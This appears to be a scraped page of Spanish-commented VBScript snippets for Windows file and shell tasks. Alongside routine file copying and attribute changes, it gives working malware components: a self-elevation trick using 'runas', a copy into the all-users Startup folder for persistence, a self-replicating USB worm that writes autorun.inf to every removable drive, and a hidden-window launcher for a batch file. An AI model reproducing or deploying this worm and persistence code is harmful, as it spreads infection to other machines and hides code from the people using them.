You are on page 1of 2

'Copiar (si existe)

dim filesys
set filesys=CreateObject("Scripting.FileSystemObject")
If filesys.FileExists("c:\users\pjluc\desktop\axg.txt") Then
filesys.CopyFile "c:\users\pjluc\desktop\axg.txt", "c:\users\pjluc\desktop\mods\"
End If

'Cambiar propiedades de carpeta


Set objfso = createobject("scripting.filesystemobject")
Set fol = objfso.getfolder("C:\Carpeta") 'obtenemos el control sobre la carpeta
fol.attributes = 1 'solo lectura

0: Normal
1: Solo Lectura
2: Oculto
4: Sistema
8: Letra de disco
16: Carpeta/directorio
32: Archivo
64: Link o acceso directo
128: Comprimido

'abrir un programa
Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run("cmd.exe", 1, true)

'Abrir como admin


If WScript.Arguments.Count = 0 Then
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "wscript.exe", "c:\Users\pjluc\Desktop\copy.vbs -1", "",
"runas", 1
End If

'Copiar
set obj = createobject ("Scripting.FileSystemObject")
Dim loc, loc1
src = "C:\users\user\desktop\axg.txt"
dest = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
obj.CopyFile src, dest
set obj = none

'Gusano para USB


Set fso = WScript.CreateObject("Scripting.Filesystemobject")
For Each d In fso.Drives
If d.DriveType = 1 And d.IsReady = True Then
fso.CopyFile WScript.ScriptFullName, d & "\copy.vbs", True
Set a = fso.CreateTextFile(d & "\autorun.inf", True )
a.WriteLine "[AUTORUN]"
a.WriteLine "SHELLEXECUTE=copy.vbs"
a.close
End If
Next
loop
'Esconder un script
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:pepe.bat" & Chr(34), 0
Set WshShell = Nothing

You might also like